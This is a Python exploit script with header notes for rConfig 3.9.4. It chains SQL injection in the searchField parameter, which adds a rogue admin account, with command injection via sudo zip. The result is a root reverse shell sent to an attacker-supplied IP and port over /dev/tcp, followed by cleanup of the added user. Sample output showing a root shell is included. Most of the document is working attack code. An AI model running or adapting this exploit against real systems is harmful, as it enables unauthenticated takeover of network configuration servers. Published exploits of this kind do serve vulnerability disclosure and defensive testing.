rConfig 3.9.4 – ‘searchField’ Unauthenticated Root Remote Code Execution
# Exploit Title: rConfig 3.9.4 - 'searchField' Unauthenticated Root Remote Code Execution # Exploit Author: vikingfr # Greetz : Orange Cyberdefense - team CSR-SO (https://cyberdefense.orange.com) # Date: 2020-03-12 # CVE-2019-19509 + CVE-2019-19585 + CVE-2020-10220 # Exploit link : https://github.com/v1k1ngfr/exploits-rconfig/blob/master/rconfig_root_RCE_unauth.py # Vendor Homepage: https://rconfig.com/ (see also : https://github.com/rconfig/rconfig) # Software Link : https://www.rconfig.com/downloads/rconfig-3.9.4.zip # Install scripts : # https://www.rconfig.com/downloads/scripts/install_rConfig.sh # https://www.rconfig.com/downloads/scripts/centos7_install.sh # https://www.rconfig.com/downloads/scripts/centos6_install.sh # Version: tested v3.9.4 # Tested on: Apache/2.4.6 (CentOS 7.7) OpenSSL/1.0.2k-fips PHP/7.2.24 # # Notes : If you want to reproduce in your lab environment follow those links : # http://help.rconfig.com/gettingstarted/installation # then # http://help.rconfig.com/gettingstarted/postinstall # # Example : # $ python3 rconfig_root_RCE_unauth_final.py http://1.1.1.1 1.1.1.2 3334 # rConfig - 3.9 - Unauthenticated root RCE # [+] Adding a temporary admin user... # [+] Authenticating as dywzxuvbah... # [+] Logged in successfully, triggering the payload... # [+] Check your listener ! # [+] The reverse shell seems to be opened :-) # [+] Removing the temporary admin user... # [+] Done. # # $ nc -nvlp 3334 # listening on [any] 3334 ... # connect to [1.1.1.2] from (UNKNOWN) [1.1.1.1] 46186 # sh: no job control in this shell # sh-4.2# id # id # uid=0(root) gid=0(root) groups=0(root) # sh-4.2# #!/usr/bin/python3 import requests import sys import urllib.parse import string import random from requests.packages.urllib3.exceptions import InsecureRequestWarning requests.packages.urllib3.disable_warnings(InsecureRequestWarning) from requests.exceptions import Timeout print ("rConfig - 3.9 - Unauthenticated root RCE") if len(sys.argv) != 4: print ("[+] Usage : ./rconfig_exploit.py https://target yourIP yourPort") exit() target = sys.argv[1] ip = sys.argv[2] port = sys.argv[3] vuln_page="/commands.inc.php" vuln_parameters="?searchOption=contains&searchField=vuln&search=search&searchColumn=command" def generateUsername(stringLength=8): u= string.ascii_lowercase return ''.join(random.sample(u,stringLength)) print ("[+] Adding a temporary admin user...") fake_id = str(random.randint(200,900)) fake_user = generateUsername(10) fake_pass_md5 = "21232f297a57a5a743894a0e4a801fc3" # hash of 'admin' fake_userid_md5 = "6c97424dc92f14ae78f8cc13cd08308d" userleveladmin = 9 # Administrator addUserPayload="%20;INSERT%20INTO%20`users`%20(`id`,%20`username`,%20`password`,%20`userid`,%20`userlevel`,%20`email`,%20`timestamp`,%20`status`)%20VALUES%20("+fake_id+",%20'"+fake_user+"',%20'"+fake_pass_md5+"',%20'"+fake_userid_md5+"',%209,%20'"+fake_user+"@domain.com',%201346920339,%201);--" encoded_request = target+vuln_page+vuln_parameters+addUserPayload firstrequest = requests.session() exploit_req = firstrequest.get(encoded_request,verify=False) request = requests.session() login_info = { "user": fake_user, "pass": "admin", "sublogin": 1 } print ("[+] Authenticating as "+fake_user+"...") login_request = request.post( target+"/lib/crud/userprocess.php", login_info, verify=False, allow_redirects=True ) dashboard_request = request.get(target+"/dashboard.php", allow_redirects=False) payload = ''' `touch /tmp/.'''+fake_user+'''.txt;sudo zip -q /tmp/.'''+fake_user+'''.zip /tmp/.'''+fake_user+'''.txt -T -TT '/bin/sh -i>& /dev/tcp/{0}/{1} 0>&1 #'` '''.format(ip, port) if dashboard_request.status_code == 200: print ("[+] Logged in successfully, triggering the payload...") encoded_request = target+"/lib/ajaxHandlers/ajaxArchiveFiles.php?path={0}&ext=random".format(urllib.parse.quote(payload)) print ("[+] Check your listener !") try: exploit_req = request.get(encoded_request,timeout=10) except Timeout: print('[+] The reverse shell seems to be opened :-)') else: print('[-] The command was not executed by the target or you forgot to open a listener...') elif dashboard_request.status_code == 302: print ("[-] Wrong credentials !? Maybe admin were not added...") exit() print("[+] Removing the temporary admin user...") delUserPayload="%20;DELETE%20FROM%20`users`%20WHERE%20`username`='"+fake_user+"';--" encoded_request = target+vuln_page+vuln_parameters+delUserPayload lastrequest = requests.session() exploit_req = lastrequest.get(encoded_request,verify=False) print ("[+] Done.") |